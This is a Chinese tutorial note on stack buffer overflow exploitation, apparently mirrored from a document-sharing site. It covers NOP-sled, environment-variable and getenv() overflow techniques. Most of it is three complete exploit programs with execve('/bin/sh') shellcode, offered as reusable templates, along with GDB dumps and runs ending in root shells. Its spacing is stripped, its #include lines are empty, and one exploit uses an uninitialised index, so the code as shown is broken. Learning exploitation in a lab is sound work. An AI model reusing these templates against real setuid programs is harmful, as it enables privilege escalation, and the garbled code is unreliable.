缓冲区溢出笔记之STACK溢出下.docx
- 文档编号:29092273
- 上传时间:2023-07-20
- 格式:DOCX
- 页数:12
- 大小:18.55KB
缓冲区溢出笔记之STACK溢出下.docx
《缓冲区溢出笔记之STACK溢出下.docx》由会员分享,可在线阅读,更多相关《缓冲区溢出笔记之STACK溢出下.docx(12页珍藏版)》请在冰豆网上搜索。
缓冲区溢出笔记之STACK溢出下
2.RRRRRRRRRRNNNNNNNNNNNSSSSSSSSSS型
这种方法同样适合于大的和小的缓冲区,而且RET地址容易计算,明显优于前一种方法!
原理是:
首先将整个BUF填满RET,一直到保证RET已经覆盖了EIP,接下来在RET之后紧跟大量的NOPS,
最后当然就是我们的SHELLCODE!
而RET地址在这里也非常好确定,因为整个BUF的大小是我们自给确定的(这里的BUF是我们构造
的BUF,而不是原来程序中的那个被溢出的BUF),所以只需要在BUF的起始地址再加上一个OFFSET
就可以让RET落在NOPS里面了.
我们看原来的第一个例子
[tt@ph4nt0mexplab]$catstack1.c
#include
intmain(intargc,char**argv){
charbuf[10];
strcpy(buf,argv[1]);
printf("buf's0x%8x\n",&buf);
return0;
}
[tt@ph4nt0mexplab]$
在stack1.c里,buf只有10BYTES,就算加上GCC分配的填充物也只有28BYTES可以利用,很可能放
不下我们的SHELLCODE,所以第一种方法在这里就不适用了.
我们采用RRRRNNNNSSSSS型的填充方法.
下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的模板
[tt@ph4nt0mexplab]$catstackexp3.c
#include
#include
#include
charshellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";
intmain(intargc,char**argv){
charbuf[500];
unsignedlongret,p;
inti;
p=&buf;
ret=p+70;
memset(buf,0x90,sizeof(buf));
for(i=0;i<44;i+=4)
*(long*)&buf[i]=ret;
memcpy(buf+400+i,shellcode,strlen(shellcode));
execl("./stack1","stack1",buf,NULL);
return0;
}
[tt@ph4nt0mexplab]$
先分配一个500BYTES的大BUF,用于我们的构造
把整个BUFFER填满NOPS
memset(buf,0x90,sizeof(buf));
然后把前44BYTES填满RET,这里的44是随便选的,目的只是需要保证覆盖调EIP就可以了.
从前面的分析直到,当覆盖32BYTES时,就会覆盖掉EIP,所以44可以达到我们的要求.
for(i=0;i<44;i+=4)
*(long*)&buf[i]=ret;
接下来把SHELLCODE复制到合适的位置.
memcpy(buf+400+i,shellcode,strlen(shellcode));
这样在SHELLCODE前面几乎有300多个NOPS,成功机率非常大.
最后再执行漏洞程序,拷贝我们精心构造的BUF到目标程序
剩下的关键问题是RET值的确定问题
如前所述,RET的值应该是BUF的起始地址加上一个OFFSET,使得RET能够落在NOPS里面
我们的BUF的结构是RRRRRRNNNNNNNSSSSSS
而RET是从BUF的起始地址开始填充起的,所以,只需要OFFSET能够跳过RET,就可以落到NOPS
里了.
从而我们这样计算
p=&buf;
ret=p+70;
显然,70>44,所以在这个例子中,RET可以跳到NOPS中执行.我们实际来看看
[tt@ph4nt0mexplab]$./stackexp3
buf's0xbfffef40
sh-2.05b#
内存分布如下
(gdb)x/50x$esp-36
0xbfffdcdc:
0x080482690xbfffe1860xbfffe1860xbfffe186
0xbfffdcec:
0xbfffe1860xbfffe1860xbfffe1860xbfffe186
0xbfffdcfc:
0xbfffe1860xbfffe1860xbfffe1860xbfffe186
0xbfffdd0c:
0x909090900x909090900x909090900x90909090
0xbfffdd1c:
0x909090900x909090900x909090900x90909090
0xbfffdd2c:
0x909090900x909090900x909090900x90909090
0xbfffdd3c:
0x909090900x909090900x909090900x90909090
0xbfffdd4c:
0x909090900x909090900x909090900x90909090
0xbfffdd5c:
0x909090900x909090900x909090900x90909090
0xbfffdd6c:
0x909090900x909090900x909090900x90909090
0xbfffdd7c:
0x909090900x909090900x909090900x90909090
0xbfffdd8c:
0x909090900x909090900x909090900x90909090
0xbfffdd9c:
0x909090900x90909090
(gdb)
......
(gdb)
0xbfffde70:
0x909090900x909090900x909090900x90909090
0xbfffde80:
0x909090900x909090900x909090900x90909090
0xbfffde90:
0x909090900x909090900x909090900xd889db31
0xbfffdea0:
0x80cd17b00xd889db310x80cd17b00xd889db31
0xbfffdeb0:
0x80cd2eb00x6850c0310x68732f2f0x69622f68
0xbfffdec0:
0x50e3896e0x31e189530xcd0bb0d20x89db3180
0xbfffded0:
0xcd01b0d80x0000c6800x000000000x00000000
0xbfffdee0:
0x000000000x000000000x000000000x00000000
0xbfffdef0:
0x000000000x000000000x000000000x00000000
中间省略的是大量NOPS,正如我们想要的那样,BUF按照我们需要的RRRRRNNNNNSSSSS
方式填充了!
3.利用环境变量
这是目前最有效也最常用的一种方法.适应能力强,而且可以精确定位SHELLCODE的地址,
所以连NOPS都可以不必要,这样带来的好处是绕过了一些环境的安全检察,因为大量的NOPS
肯可能会被检测出来而无法通过执行.
函数execve()是一个比较特殊的函数,他的某些特性能让我们写EXPLOIT事半功倍.
具体原理可以参考OYXin翻译的<<利用execve()函数写无nopsexploit>>
可以在
简单来说就是把SHELLCODE放到环境变量里.execve()可以提供一个全新的环境给程序.从内存
高址0xc0000000开始计算起,文件名,程序execve()后的环境和参数将被COPY进内存.
这样,只要按照一定顺序,我们就可以公式般计算SHELLCODE的准确位置!
SHELLCODE地址的计算方法是
0xc0000000-0x04-sizeof(filename)-sizeof(shellcode)
这个时候,我们的BUF构造就相对非常简单了.只需要AAAAAAAAR的方式来进行填充
A只需要填充BUF一直到EBP,最后的EIP用一个RET进行覆盖,RET准确的指向SHELLCODE的地址
最后再用SHELLCODE执行整个程序就可以了!
我们还是针对stack1.c来进行溢出
[tt@ph4nt0mexplab]$catstack1.c
#include
intmain(intargc,char**argv){
charbuf[10];
strcpy(buf,argv[1]);
printf("buf's0x%8x\n",&buf);
return0;
}
[tt@ph4nt0mexplab]$
下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的一个模板
[tt@ph4nt0mexplab]$catstackexp1.c
#include
charshellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";
intmain(intargc,char**argv){
charbuf[32];
char*p[]={"./stack1",buf,NULL};
char*env[]={"HOME=/root",shellcode,NULL};
unsignedlongret;
ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void*);
memset(buf,0x41,sizeof(buf));
memcpy(&buf[28],&ret,4);
printf("retisat0x%8x\n",ret);
execve(p[0],p,env);
return0;
}
[tt@ph4nt0mexplab]$
把SHELLCODE放入将要执行的环境变量中
char*env[]={"HOME=/root",shellcode,NULL};
把整个BUF用A填满
memset(buf,0x41,sizeof(buf));
计算RET的值,并覆盖EIP
ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void*);
......
memcpy(&buf[28],&ret,4);
最后执行execve()
execve(p[0],p,env);
我们来看看运行EXPLOIT的内存分布
(gdb)bexecve
Breakpoint1at0x80482ec
(gdb)r
Startingprogram:
/home/tt/explab/stackexp1
Breakpoint1at0x420ac7f6
retisat0xbfffffbb
Breakpoint1,0x420ac7f6inexecve()from/lib/tls/libc.so.6
(gdb)ireg
eax0xbfffe190-1073749616
ecx0x4212ee201108536864
edx0x1521
ebx0x42130a141108544020
esp0xbfffe1500xbfffe150
ebp0xbfffe1580xbfffe158
esi0x400153601073828704
edi0x80484dc134513884
eip0x420ac7f60x420ac7f6
eflags0x286646
......
(gdb)x/50x$esp
0xbfffe150:
0x420ac7f00x40015a380xbfffe1c80x080484a2
0xbfffe160:
0x080485580xbfffe1900xbfffe1800x4207a750
0xbfffe170:
0x4000807f0x4001582c0x000000360xbfffffbb
0xbfffe180:
0x080485610x080495c00x000000000x40016380
0xbfffe190:
0x080485580xbfffe1a00x000000000x0804837a
0xbfffe1a0:
0x414141410x414141410x414141410x41414141
0xbfffe1b0:
0x414141410x414141410x414141410xbfffffbb
0xbfffe1c0:
0x42130a140x400153600xbfffe1e80x42015574
0xbfffe1d0:
0x000000010xbfffe2140xbfffe21c0x4001582c
......
(gdb)c
......
(gdb)x/50x$esp
......
0xbfffff40:
0x000000000x000000000x000000000x00000000
0xbfffff50:
0x000000000x000000000x000000000x00000000
0xbfffff60:
0x000000000x000000000x000000000x36690000
0xbfffff70:
0x2e0036380x6174732f0x00316b630x41414141
0xbfffff80:
0x414141410x414141410x414141410x41414141
0xbfffff90:
0x414141410x414141410xbfffffbb0x42130a14
0xbfffffa0:
0x400153600xbfffe1e80x420155740x4f480001
0xbfffffb0:
0x2f3d454d0x746f6f720x89db31000xcd17b0d8
0xbfffffc0:
0x89db31800xcd17b0d8
(gdb)
0xbfffffc8:
0x89db31800xcd2eb0d80x50c031800x732f2f68
0xbfffffd8:
0x622f68680xe3896e690xe18953500x0bb0d231
0xbfffffe8:
0xdb3180cd0x01b0d8890x2e0080cd0x6174732f
0xbffffff8:
0x00316b630x00000000Cannotaccessmemoryataddress0xc0000000
(gdb)x/50x0xbfffffc1
0xbfffffc1:
0xd889db310x80cd17b00xd889db310x80cd2eb0
0xbfffffd1:
0x6850c0310x68732f2f0x69622f680x50e3896e
0xbfffffe1:
0x31e189530xcd0bb0d20x89db31800xcd01b0d8
0xbffffff1:
0x2f2e00800x636174730x0000316bCannotaccessmemoryataddress0xbffffffd
(gdb)
我们已经可以看到程序按照我们的想法执行了.
[tt@ph4nt0mexplab]$./stackexp1
retisat0xbfffffbb
buf's0xbffffc60
sh-2.05b#
以上是三种常用的方法.
最后,简单说说关于传递环境变量到BUF造成溢出的问题
很多程序由于没有对环境变量进行边界检查,所以当赋予环境变量一个超长的值时,
运行该有漏洞的程序,将把环境变量拷贝进缓冲区,造成溢出.
通常通过setenv(),putenv()等函数进行传递被我们构造的环境变量
由于篇幅关系,这里不再详悉叙述,仅仅给出一个例子和我写的一个相应的EXPLOIT作为参考.
[tt@ph4nt0mexplab]$catenv1.c
#include
#include
intmain(intargc,char**argv){
charbuffer[500];
printf("bufaddris-%p-\n",&buffer);
strcpy(buffer,getenv("PH4NT0M"));
return0;
}
[tt@ph4nt0mexplab]$
下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的一个模板
[tt@ph4nt0mexplab]$catenvexp1.c
#include
#include
charshellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";
unsignedlongget_esp(){
__asm__("movl%esp,%eax");
}
intmain(intargc,char**argv){
charbuf[528];
inti;
intoffset=90;
unsignedlongret;
memset(buf,0x90,sizeof(buf));
/*setoffsetto100tospawnashell!
*/
if(argc>1)
offset=atoi(argv[1]);
ret=get_esp()-offset;
memcpy(buf+524,&ret,4);
memcpy(buf+400+i,shellcode,strlen(shellcode));
setenv("PH4NT0M",buf,1);
printf("retaddrisat0x%lx\n",ret);
execl("./env1","env1",NULL);
return0;
}
[tt@ph4nt0mexplab]$
运行结果如下,OFFSET取100时,造成溢出,得到SHELL
[tt@ph4nt0mexplab]$./envexp1
retaddrisat0xbffff1ce
bufaddris-0xbfffefa0-
段错误
[tt@ph4nt0mexplab]$./envexp1100
retaddrisat0xbfffed34
bufaddris-0xbfffeba0-
sh-2.05b$
以上作为自己学习过程中的一点心得,方便以后备查,也希望能帮助需要的朋友.还请各位前辈
指正其中的缺陷和错误.
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 缓冲区 溢出 笔记 STACK